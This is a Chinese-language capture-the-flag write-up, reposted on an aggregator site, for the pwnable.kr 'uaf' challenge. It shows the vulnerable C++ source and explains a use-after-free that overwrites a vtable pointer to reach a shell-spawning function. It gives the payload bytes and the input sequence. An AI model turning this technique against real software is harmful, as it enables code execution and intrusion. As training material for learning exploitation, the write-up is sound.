栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > C/C++/C#

pwnable.kr-uaf

C/C++/C# 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

pwnable.kr-uaf

虽然每个点都不难,但堆到一起还是容易迷糊。

此题需要c++知识,所以如果不了解c++,请先去菜鸟教程,了解完类的知识即可。

首先请浏览过这篇文章c++类实例在内存中的分配 (转) - bizhu - 博客园 (cnblogs.com)

清楚类在内存中的存储方式后我们继续。

由于本人几经尝试终端没下载下来文件(大无语。所以使用了winscp。

 uaf.cpp点开

#include 
#include  
#include 
#include 
#include 
using namespace std;

class Human{
private:
	virtual void give_shell(){
		system("/bin/sh");
	}
protected:
	int age;
	string name;
public:
	virtual void introduce(){
		cout << "My name is " << name << endl;
		cout << "I am " << age << " years old" << endl;
	}
};

class Man: public Human{
public:
	Man(string name, int age){
		this->name = name;
		this->age = age;
        }
        virtual void introduce(){
		Human::introduce();
                cout << "I am a nice guy!" << endl;
        }
};

class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};

int main(int argc, char* argv[]){
	Human* m = new Man("Jack", 25);
	Human* w = new Woman("Jill", 21);

	size_t len;
	char* data;
	unsigned int op;
	while(1){
		cout << "1. usen2. aftern3. freen";
		cin >> op;

		switch(op){
			case 1:
				m->introduce();
				w->introduce();
				break;
			case 2:
				len = atoi(argv[1]);
				data = new char[len];
				read(open(argv[2], O_RDONLY), data, len);
				cout << "your data is allocated" << endl;
				break;
			case 3:
				delete m;
				delete w;
				break;
			default:
				break;
		}
	}

	return 0;	
}

argv[]不了解的请csdn一下。 我们可以了解到man和woman是human的子类,give-shell函数被继承。case1调用introduce。case2new了一块地址,并把文件中的东西读到里面。case3delete。

这里的中心利用思想是先去delete,之后new一块与m,w相同大小的数组,由于malloc的内存管理机制,会把刚delete的这块给data。由于虚地址被放在类首,我们可以通过覆盖这块地址,去完成调用give-shell的操作。

打开ida

 发现new了0x18,因此后续创建,也要创建相同的大小

找到case1,我们可以看到,v12+8,这里的v12里放的是虚表的头位置,偏移量为8,我们的目的是让他运行虚表第一个函数(不明白为什么give-shell是第一个可以再读一下内存分布那个文章)

 我们采用把v12里的数减8的方式,这样最后就正好是give-shell了。

接下来是实施

python -c "print 'x68x15x40x00x00x00x00x00'" > /tmp/poc

这段意思是把x68x15x40x00x00x00x00x00写入poc,注意,这个程序是小端序,需要主动把地址逆过来。正常就是0x401568。

 24是之前的0x18,/tmp/poc是文件路径。

最后3221拿到flag

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/743470.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号